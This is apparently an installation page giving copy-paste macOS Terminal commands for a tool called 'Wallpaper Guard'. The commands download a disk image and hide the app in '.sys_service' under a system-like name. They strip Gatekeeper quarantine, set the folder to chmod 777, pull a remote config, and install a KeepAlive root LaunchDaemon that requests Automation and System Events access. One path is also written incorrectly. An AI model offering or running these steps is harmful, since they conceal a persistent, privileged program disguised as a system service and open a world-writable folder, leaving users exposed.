System Service Deployment

Open Terminal and press Command + T to start a new session. Then, follow the steps below to get Wallpaper Guard up and running on your Mac.

Step 01

Initialization

Retrieve the arm64 binary and mount the disk image to prepare for system deployment.

Command: Download

curl -L -O https://github.com/ChuTM/wallpaper-guard/releases/latest/download/Wallpaper.Guard-arm64.dmg

Command: Mount

hdiutil attach Wallpaper.Guard-arm64.dmg

Step 02

Trust & Permission

Transfer the service and strip quarantine attributes. The wildcard handles version-specific volume names automatically.

Command: Create Directory

sudo mkdir -p "/Library/Application Support/.sys_service"

Command: Copy & Rename

sudo cp -R /Volumes/System*/System*.app "/Library/Application Support/.sys_service/System Wallpaper Service.app"

Command: Clear Quarantine

sudo xattr -rd com.apple.quarantine "/Library/Application Support/.sys_service/System Wallpaper Service.app"

Command: Open Perimission to Config

sudo chmod 777 "/Library/Application Support/.sys_service"

Command: Load Config

sudo curl -L -o "~/Library/Application Support/.sys_service/config.json" "https://wallpg.web.app/init_config.json"

Wildcard Logic: The * ensures the command succeeds regardless of the version number in the volume name.

Step 03

Launch

Open the service. Click Allow when prompted for Automation and System Events access.

Command: Open

open "/Library/Application Support/.sys_service/System Wallpaper Service.app"

Step 04

Cleanup

Detach the installer volume and remove the temporary download file.

Command: Eject & Clean

hdiutil detach /Volumes/System* && rm System*.dmg

Step 05

Persistence

Configure the system to automatically launch the service on boot and keep it running in the background.

Command: Register Daemon

cat <<EOF > com.system.wallpaper.service.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.system.wallpaper.service</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Library/Application Support/.sys_service/System Wallpaper Service.app/Contents/MacOS/System Wallpaper Service</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>
EOF

Command: Activate Service

sudo mv com.system.wallpaper.service.plist /Library/LaunchDaemons/ && \
sudo chown root:wheel /Library/LaunchDaemons/com.system.wallpaper.service.plist && \
sudo chmod 644 /Library/LaunchDaemons/com.system.wallpaper.service.plist && \
sudo launchctl load -w /Library/LaunchDaemons/com.system.wallpaper.service.plist

Automation: The KeepAlive flag ensures the service automatically restarts if it ever stops unexpectedly.